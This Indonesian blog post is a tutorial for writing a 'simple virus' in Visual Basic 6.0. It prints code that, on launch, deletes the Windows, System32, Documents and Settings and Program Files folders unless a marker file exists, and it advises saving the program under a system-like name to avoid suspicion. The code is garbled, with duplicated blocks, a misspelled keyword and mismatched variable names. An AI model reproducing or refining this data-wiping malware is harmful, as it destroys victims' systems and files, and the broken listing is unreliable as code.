Membuat Virus Sederhana Dengan Visual Basic 6.0
Hallo Sobat CT apa kabar?
Kali ini saya akan membuat tutorial membuat virus sederhana dengan visual basic 6.0..Tutorial ini bukan untuk jail tapi untuk menambah ilmu dan wawasan kita mengenai bagaimana cara membuat virus itu sendiri ..
Ok untuk mulai nya Klik Visual Basic
Lalu jangan lupa untuk memulai membuat virus ini harus sudah paham betul tentang tombol yang ada di Visual Basic
Untuk langkah selanjutnya :
1. Bikin form jika bisa buatlah form itu sekecil mungkin
2. Klik pada form dan masukan koding ini
Public Sub DelAll(ByZil Delete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()
On Error Resume Next
If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub
On Error Resume Next
If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub
Function FileExist(ByZil FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function
Penjelasan :
1. Untuk kode yang berwarna hijau itu adalah obatnya silahkan edit lagi untuk di kembangkan ..
2. Yang warna merah itu folder yg akan didelete sama virus kita ini ..
Langkah selanjutnya adalah save dengan nama persis seperti system agar tidak mudah di curigai..
Selesai ini untuk membuat virus sederhana yang lumayan ..
Untuk tutorial membuat virus yang menggandakan nanti akan saya update lagi ..
Pantengin aja blog ini hehe semoga bermanfaat
Categories:
Visual Basic
0 comments:
Post a Comment